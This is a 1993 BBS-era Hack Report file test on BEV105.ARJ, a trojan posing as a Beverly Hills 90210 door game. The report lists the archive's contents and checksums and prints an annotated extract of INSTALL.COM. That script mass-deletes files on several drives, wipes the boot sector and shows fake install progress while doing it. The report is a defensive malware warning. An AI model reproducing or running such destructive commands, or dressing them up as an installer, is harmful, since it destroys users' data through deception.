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||
From the files of The Hack Squad: || by Lee Jackson, Co-Moderator,
|| FidoNet International Echo SHAREWRE
The Hack Report || Volume 2, Number 3
File Test Results || Result Report Date: March 7, 1993
||
=========================================================================
*************************************************************************
* *
* The following test was performed by and the results are courtesy *
* of Jeff White and Bill Logan of the Pueblo Group in Tuscon, *
* Arizona. Their assistance is greatly appreciated. *
* *
*************************************************************************
File: BEV105.ARJ
Size: 79858
Date/time: 1-15-93 5:09p
Description:
BEV is described by the scant documentation as a Beverly Hills 90210
Adventure DOOR game for WWIV BBSes. It claims to have dialogue from the
actual TV show, and permission from The Fox Network to use such dialogue.
=========================================================================
Synopsis:
Apparently this was a batch file compiled to an COM file. It renames
several of the files included with the archive to programs and executes
them. It is dependent on these programs to do the destruction.
Running the INSTALL.COM program to begin installation produces the
following screen:
Welcome to the 90210 Door Installation Program for WWIV
Copyright 1992(c) Brian Deborus of Constalion BBS 1@2723
This Program will Depact all the files neccesary to run
the door, including the documentation to run the door.
The door will run on all WWIV systems using CHAIN.TXT.
The program will give you frequent updates on installation
by means of a percentage.
Please Make sure when you typed Install you did it in this format
INSTALL [drive/path] of where you want the door.
Strike any key when ready...
But what is actually happening is outlined below:
Renames DORINFO.DIR to IDCKILL.EXE
Invokes IDCKILL to kill files on current drive with the extensions of:
BAT, FON, COM, ICE, ZIP, ANS, SYS, SUB, DAT, ARJ, EXE, and C
Renames DISK_1.VOL to BOOTKILL.EXE
Invokes BOOTKILL to kill BOOT record on current drive
Renames 90210.DIR to REBOOT.COM
Invokes IDCKILL to delete *.* on C:, D:, and E: drives
Invokes REBOOT.COM to reboot your computer after "installation"
The author of this trojan added some "filler" to the archive by renaming
some common programs to .DIR files and including them with the archive
under the guise of being related to the DOOR game. Examples:
MAIN.DIR
This is actually BBSBASE, a common program used by Sysops to keep BBS
lists.
Screen cut:
????? ????? ? ????? ?????? ? ????
? ??? ? ??? ??? ? ??? ? ? ??? ?
? ? ? ? ?? ? ? ? ???? ?? ? ??
????? ????? ?????? ????? ? ? ?????? ????
Version 1.00 (c) 1988
User Supported Software
If you are an avid BBSer like me, you know what it feels
like to try and organize all those BBS names and numbers
that you constantly collect. At first, I tried to use index
cards, but that got really out of hand.
So, I wrote this program to keep track of those myriad of
numbers and names that once collected on my desk. The power
of this program is simply amazing. I have included alot of
extras in this program that would take for hours to do by hand
I have tried to keep it as user friendly as possible too.
Written in Turbo Pascal Version 3.0 by Steve Lutz
P R E S S A N Y K E Y T O C O N T I N U E
CHAR.DIR
This is evidently an auto-extract and/or install program for another
program. The GENESIS.EXE file does not come with BEV105, so the program
just errors out.
Screen cut:
AutoLHarc 1.15 (c)Yoshi, 1988-1990.
Extract from : 'GENESIS.EXE'
Melting : 'GENESIS.COM'
o...............................................
Error In Archive.
DOCS.DIR
Unknown. This is a program, but invoking it does not bring any response.
=========================================================================
Contents:
ARJ 2.30 Copyright (c) 1990-92 Robert K Jung. Jan 19 1992
NOT REGISTERED for business, commercial, or government use.
Processing archive: C:\SUSPECT\BEV105.ARJ
Archive date : 1993-01-15 17:10:04
Sequence/Pathname/Comment
Rev Host OS Original Compressed Ratio DateTime modified CRC-32
============ ========== ========== ===== ================= ========
001) DORINFO.DIR
3 MS-DOS 4135 1996 0.483 92-08-28 18:27:52 4BE0E6FE
002) README.1ST
3 MS-DOS 1414 750 0.530 93-01-15 17:09:38 9A392726
003) 90210.DIR
3 MS-DOS 16 16 1.000 92-08-28 23:07:14 6D232072
004) CHAR.DIR
3 MS-DOS 21108 16675 0.790 92-08-28 19:02:54 8B911883
005) MAIN.DIR
3 MS-DOS 63733 30221 0.474 92-08-28 19:02:40 FE66BA29
006) DISK_1.VOL
3 MS-DOS 96 96 1.000 92-08-28 02:03:36 6ABF751F
007) DOCS.DIR
3 MS-DOS 39408 25166 0.639 92-08-28 16:58:50 0230EF50
008) INSTALL.COM
3 MS-DOS 41088 3343 0.081 92-08-28 16:22:02 A5FEE2C8
============ ========== ========== =====
8 files 170998 78263 0.458
=========================================================================
File Validations:
File Name: 90210.dir Size: 16 Date: 8-28-1992
File Authentication: Check Method 1 - 70EC Check Method 2 - 0565
File Name: char.dir Size: 21,108 Date: 8-28-1992
File Authentication: Check Method 1 - FF27 Check Method 2 - 0039
File Name: disk_1.vol Size: 96 Date: 8-28-1992
File Authentication: Check Method 1 - AB28 Check Method 2 - 0510
File Name: docs.dir Size: 39,408 Date: 8-28-1992
File Authentication: Check Method 1 - B9B0 Check Method 2 - 1C92
File Name: dorinfo.dir Size: 4,135 Date: 8-28-1992
File Authentication: Check Method 1 - 8930 Check Method 2 - 0F58
File Name: install.com Size: 41,088 Date: 8-28-1992
File Authentication: Check Method 1 - 6D5A Check Method 2 - 1ED0
File Name: main.dir Size: 63,733 Date: 8-28-1992
File Authentication: Check Method 1 - 5572 Check Method 2 - 0A7D
File Name: readme.1st Size: 1,414 Date: 1-15-1993
File Authentication: Check Method 1 - B6DD Check Method 2 - 1DEC
=========================================================================
Viral activity: None detected
=========================================================================
Suspect code:
Here is an extract directly from the INSTALL.COM file which shows the
path of destruction. Comments were added by myself to point out what is
going on line-by-line.
/C REN Dorinfo.dir idckill.exe <-- REN DORINFO.DIR to the IDCKILL
program
IDCKILL *.bat [a] <-- Kill all BAT files
Exploding Files - (10%) <-- Let user think installation is
10% done
IDCKILL *.fon [a] <-- Kill any FON (phone) files
IDCKILL *.com [a] <-- Kill all COM files
Exploding Files - (25%) <-- Let user think installation is
25% done
IDCKILL *.ice [a] <-- Kill all ICE files
IDCKILL *.zip [a] <-- Kill all ZIP files
Exploding Files - (40%) <-- Let user think installation is
40% done
IDCKILL *.ans [a] <-- Kill all ANS files
IDCKILL *.sys [a] <-- Kill all SYS files
IDCKILL *.sub [a] <-- Kill all SUB files
IDCKILL *.dat[a] <-- Kill all DAT files
Exploding Files - (50%) <-- Let user think installation is
50% done
IDCKILL *.arj [a] <-- Kill all ARJ files
IDCKILL *.c [a] <-- Kill all C files
Exploding Files - (60%) <-- Let user think installation is
60% done
IDCKILL *.exe [a] <-- Kill all EXE files
Exploding Files - (85%) <-- Let user think installation is
85% done
/C REN DISK_1.VOL bootkill.com <-- REN DISK_1.VOL to the BOOTKILL
program
BOOTKILL@ <-- Execute BOOTKILL to kill
BOOT sector
/C REN CHAR.DAT Genesis.EXE <-- REN CHAR.DAT to the GENESIS.EXE
program
Exploding Files - (95%) <-- Let user think installation is
95% done
/C REN 90210.DIR reboot.com <-- REN 90210.DIR to REBOOT.COM program
Exploding Files (DONE!) <-- Let user think file expansion is done
Building Excutable Files.. Please Wait.. (May take up to 5 minutes)
IDCKILL *.* [a] <-- Erase all of DRIVE C:
/C c:
IDCKILL *.* [a] <-- Erase all of DRIVE D:
/C d:
IDCKILL *.* [a] <-- Erase all of DRIVE E:
/C e:
IDCKILL *.* [a] <-- Erase all of current drive
Program Finished... Beverly Hills 90210 door install complete!
REBOOT@ <-- Reboot computer
=========================================================================